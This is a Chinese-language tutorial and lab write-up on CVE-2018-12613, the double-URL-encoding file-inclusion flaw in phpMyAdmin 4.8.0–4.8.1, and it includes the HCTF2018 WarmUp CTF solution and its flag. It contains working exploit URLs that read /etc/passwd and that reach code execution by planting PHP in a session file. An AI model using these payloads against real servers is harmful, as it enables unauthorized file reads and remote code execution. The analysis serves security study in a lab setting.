0x01 漏洞简介

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在phpMyAdmin 4.8.2 之前的 4.8.x 版本中,其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

影响范围

  • phpMyAdmin 4.8.0
  • phpMyAdmin 4.8.1

0x02 漏洞环境

使用vulnhub快速搭建靶场

1
2
cd /vulhub/phpmyadmin/CVE-2018-12613
sudo docker-compose up -d

环境启动后,访问http://your-ip:8080,即可进入phpmyadmin。配置的是 config 模式,所以无需输入密码,直接登录test账户。

0x03 漏洞分析

漏洞问题出在index.php中的如下代码:

  1. target 参数不为空,并且为字符串
  2. target 参数不能以index开头
  3. target 参数不能出现在 $target_blacklist 内
  4. target 参数没有过滤,并且直接include包含文件
1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

在 /index.php 的第50行,target 参数不能在黑名单内

1
2
3
$target_blacklist = array (
'import.php', 'export.php'
);

找到Core类的checkPageValidity方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# phpMyAdmin/libraries/classes/core.php

public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

问题出现在第 465 行的urldecode() 我们可以利用这个函数绕过白名单检测,只要把 ? 两次url编码为 %253f ,且target 参数必须是在白名单内,即可绕过验证。

白名单内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',

0x04 漏洞利用

1. 文件读取

读取 /etc/passwd 文件,payload如下:

1
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

成功读取了目标文件

2. 命令执行

执行如下SQL命令

1
2
3
select '<?php echo `ls` ?>';
# 或者写入phpinfo
select '<?php phpinfo();?>';

审查元素,找到cookie值

利用cookie值构造对应的session文件名,payload如下:

1
2
3
4
# 视情况而定
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_e6dd5e9685b1461c90cd8aa6e4e408bd
# 或者
http://your-ip:8080/index.php??target=db_sql.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_e6dd5e9685b1461c90cd8aa6e4e408bd

成功执行了 ls 命令

成功写入了phpinfo

0x05 CTF 赛题

这道题出自 HCTF2018 的 WarmUp,攻防世界平台中已经收录了该题,可以前往该平台进行解答。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

题目提示flag信息

1
2
# hint.php
flag not here, and flag in ffffllllaaaagggg

构造 payload :

1
2
# ../是经过多次遍历目录测试得出flag所在的文件目录
?file=source.php%253f../../../../../ffffllllaaaagggg

最终得到 flag :

1
flag{25e7bce6005c4e0c983fb97297ac6e5a} 

参考文章